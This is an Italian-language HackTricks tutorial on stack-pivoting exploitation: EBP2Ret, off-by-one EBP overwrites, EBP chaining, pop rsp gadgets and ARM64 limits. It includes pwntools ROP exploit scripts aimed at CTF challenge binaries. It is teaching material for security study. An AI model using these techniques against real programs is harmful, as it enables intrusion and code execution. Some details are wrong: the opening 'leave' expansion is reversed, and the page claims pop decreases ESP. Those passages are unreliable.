hacktricks/src/binary-exploitation/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md

225 lines
9.8 KiB
Markdown

# Stack Pivoting - EBP2Ret - EBP chaining
{{#include ../../banners/hacktricks-training.md}}
## Informazioni di base
Questa tecnica sfrutta la capacità di manipolare il **Base Pointer (EBP)** per concatenare l'esecuzione di più funzioni attraverso un uso attento del registro EBP e della sequenza di istruzioni **`leave; ret`**.
Per ricordare, **`leave`** significa fondamentalmente:
```
mov ebp, esp
pop ebp
ret
```
E come se l'**EBP è nello stack** prima dell'EIP, è possibile controllarlo controllando lo stack.
### EBP2Ret
Questa tecnica è particolarmente utile quando puoi **modificare il registro EBP ma non hai un modo diretto per cambiare il registro EIP**. Sfrutta il comportamento delle funzioni quando terminano l'esecuzione.
Se, durante l'esecuzione di `fvuln`, riesci a iniettare un **fake EBP** nello stack che punta a un'area in memoria dove si trova l'indirizzo del tuo shellcode (più 4 byte per tenere conto dell'operazione `pop`), puoi controllare indirettamente l'EIP. Quando `fvuln` restituisce, l'ESP è impostato su questa posizione creata, e l'operazione `pop` successiva diminuisce l'ESP di 4, **facendo effettivamente puntare a un indirizzo memorizzato dall'attaccante lì.**\
Nota come **devi conoscere 2 indirizzi**: Quello dove andrà l'ESP, dove dovrai scrivere l'indirizzo a cui punta l'ESP.
#### Costruzione dell'Exploit
Prima devi conoscere un **indirizzo dove puoi scrivere dati / indirizzi arbitrari**. L'ESP punterà qui e **eseguirà il primo `ret`**.
Poi, devi conoscere l'indirizzo utilizzato da `ret` che **eseguirà codice arbitrario**. Potresti usare:
- Un indirizzo valido [**ONE_GADGET**](https://github.com/david942j/one_gadget).
- L'indirizzo di **`system()`** seguito da **4 byte spazzatura** e l'indirizzo di `"/bin/sh"` (x86 bits).
- L'indirizzo di un gadget **`jump esp;`** ([**ret2esp**](../rop-return-oriented-programing/ret2esp-ret2reg.md)) seguito dal **shellcode** da eseguire.
- Alcuna catena [**ROP**](../rop-return-oriented-programing/)
Ricorda che prima di qualsiasi di questi indirizzi nella parte controllata della memoria, devono esserci **`4` byte** a causa della parte **`pop`** dell'istruzione `leave`. Sarebbe possibile abusare di questi 4B per impostare un **secondo fake EBP** e continuare a controllare l'esecuzione.
#### Off-By-One Exploit
C'è una variante specifica di questa tecnica nota come "Off-By-One Exploit". Viene utilizzata quando puoi **modificare solo il byte meno significativo dell'EBP**. In tal caso, la posizione di memoria che memorizza l'indirizzo a cui saltare con il **`ret`** deve condividere i primi tre byte con l'EBP, consentendo una manipolazione simile con condizioni più vincolate.\
Di solito viene modificato il byte 0x00 per saltare il più lontano possibile.
Inoltre, è comune utilizzare un RET sled nello stack e mettere la vera catena ROP alla fine per rendere più probabile che il nuovo ESP punti all'interno del RET SLED e che la catena ROP finale venga eseguita.
### **EBP Chaining**
Pertanto, mettendo un indirizzo controllato nell'entrata `EBP` dello stack e un indirizzo per `leave; ret` in `EIP`, è possibile **spostare l'`ESP` all'indirizzo `EBP` controllato dallo stack**.
Ora, l'**`ESP`** è controllato puntando a un indirizzo desiderato e la prossima istruzione da eseguire è un `RET`. Per abusare di questo, è possibile posizionare nel posto controllato dell'ESP questo:
- **`&(next fake EBP)`** -> Carica il nuovo EBP a causa di `pop ebp` dall'istruzione `leave`
- **`system()`** -> Chiamato da `ret`
- **`&(leave;ret)`** -> Chiamato dopo che il sistema termina, sposterà l'ESP al fake EBP e ricomincerà
- **`&("/bin/sh")`**-> Parametro per `system`
Fondamentalmente in questo modo è possibile concatenare diversi fake EBP per controllare il flusso del programma.
Questo è simile a un [ret2lib](../rop-return-oriented-programing/ret2lib/), ma più complesso senza apparenti vantaggi ma potrebbe essere interessante in alcuni casi limite.
Inoltre, qui hai un [**esempio di una sfida**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/leave) che utilizza questa tecnica con una **stack leak** per chiamare una funzione vincente. Questo è il payload finale dalla pagina:
```python
from pwn import *
elf = context.binary = ELF('./vuln')
p = process()
p.recvuntil('to: ')
buffer = int(p.recvline(), 16)
log.success(f'Buffer: {hex(buffer)}')
LEAVE_RET = 0x40117c
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229
payload = flat(
0x0, # rbp (could be the address of anoter fake RBP)
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0,
elf.sym['winner']
)
payload = payload.ljust(96, b'A') # pad to 96 (just get to RBP)
payload += flat(
buffer, # Load leak address in RBP
LEAVE_RET # Use leave ro move RSP to the user ROP chain and ret to execute it
)
pause()
p.sendline(payload)
print(p.recvline())
```
## EBP potrebbe non essere utilizzato
Come [**spiegato in questo post**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#off-by-one-1), se un binario è compilato con alcune ottimizzazioni, l'**EBP non controlla mai l'ESP**, quindi, qualsiasi exploit che funziona controllando l'EBP fallirà fondamentalmente perché non ha alcun effetto reale.\
Questo perché i **prologhi ed epiloghi cambiano** se il binario è ottimizzato.
- **Non ottimizzato:**
```bash
push %ebp # save ebp
mov %esp,%ebp # set new ebp
sub $0x100,%esp # increase stack size
.
.
.
leave # restore ebp (leave == mov %ebp, %esp; pop %ebp)
ret # return
```
- **Ottimizzato:**
```bash
push %ebx # save ebx
sub $0x100,%esp # increase stack size
.
.
.
add $0x10c,%esp # reduce stack size
pop %ebx # restore ebx
ret # return
```
## Altri modi per controllare RSP
### **`pop rsp`** gadget
[**In questa pagina**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp) puoi trovare un esempio che utilizza questa tecnica. Per questa sfida era necessario chiamare una funzione con 2 argomenti specifici, e c'era un **`pop rsp` gadget** e c'è una **leak dallo stack**:
```python
# Code from https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp
# This version has added comments
from pwn import *
elf = context.binary = ELF('./vuln')
p = process()
p.recvuntil('to: ')
buffer = int(p.recvline(), 16) # Leak from the stack indicating where is the input of the user
log.success(f'Buffer: {hex(buffer)}')
POP_CHAIN = 0x401225 # pop all of: RSP, R13, R14, R15, ret
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229 # pop RSI and R15
# The payload starts
payload = flat(
0, # r13
0, # r14
0, # r15
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0, # r15
elf.sym['winner']
)
payload = payload.ljust(104, b'A') # pad to 104
# Start popping RSP, this moves the stack to the leaked address and
# continues the ROP chain in the prepared payload
payload += flat(
POP_CHAIN,
buffer # rsp
)
pause()
p.sendline(payload)
print(p.recvline())
```
### xchg \<reg>, rsp gadget
```
pop <reg> <=== return pointer
<reg value>
xchg <reg>, rsp
```
### jmp esp
Controlla la tecnica ret2esp qui:
{{#ref}}
../rop-return-oriented-programing/ret2esp-ret2reg.md
{{#endref}}
## Riferimenti e Altri Esempi
- [https://bananamafia.dev/post/binary-rop-stackpivot/](https://bananamafia.dev/post/binary-rop-stackpivot/)
- [https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting)
- [https://guyinatuxedo.github.io/17-stack_pivot/dcquals19_speedrun4/index.html](https://guyinatuxedo.github.io/17-stack_pivot/dcquals19_speedrun4/index.html)
- 64 bit, sfruttamento off by one con una catena rop che inizia con un ret sled
- [https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html](https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html)
- 64 bit, no relro, canary, nx e pie. Il programma concede una leak per stack o pie e un WWW di un qword. Prima ottieni la leak dello stack e usa il WWW per tornare e ottenere la leak del pie. Poi usa il WWW per creare un ciclo eterno abusando delle voci di `.fini_array` + chiamando `__libc_csu_fini` ([maggiori informazioni qui](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md)). Abusando di questo "scrittura eterna", viene scritta una catena ROP nella .bss e si finisce per chiamarla pivotando con RBP.
## ARM64
In ARM64, i **prologhi e gli epiloghi** delle funzioni **non memorizzano e recuperano il registro SP** nello stack. Inoltre, l'istruzione **`RET`** non restituisce all'indirizzo puntato da SP, ma **all'indirizzo dentro `x30`**.
Pertanto, per impostazione predefinita, abusando semplicemente dell'epilogo **non sarai in grado di controllare il registro SP** sovrascrivendo alcuni dati all'interno dello stack. E anche se riesci a controllare lo SP, avresti comunque bisogno di un modo per **controllare il registro `x30`**.
- prologo
```armasm
sub sp, sp, 16
stp x29, x30, [sp] // [sp] = x29; [sp + 8] = x30
mov x29, sp // FP punta al record del frame
```
- epilogo
```armasm
ldp x29, x30, [sp] // x29 = [sp]; x30 = [sp + 8]
add sp, sp, 16
ret
```
> [!CAUTION]
> Il modo per eseguire qualcosa di simile al pivoting dello stack in ARM64 sarebbe essere in grado di **controllare lo `SP`** (controllando qualche registro il cui valore viene passato a `SP` o perché per qualche motivo `SP` sta prendendo il suo indirizzo dallo stack e abbiamo un overflow) e poi **abusare dell'epilogo** per caricare il registro **`x30`** da un **`SP` controllato** e **`RET`** a esso.
Inoltre, nella pagina seguente puoi vedere l'equivalente di **Ret2esp in ARM64**:
{{#ref}}
../rop-return-oriented-programing/ret2esp-ret2reg.md
{{#endref}}
{{#include ../../banners/hacktricks-training.md}}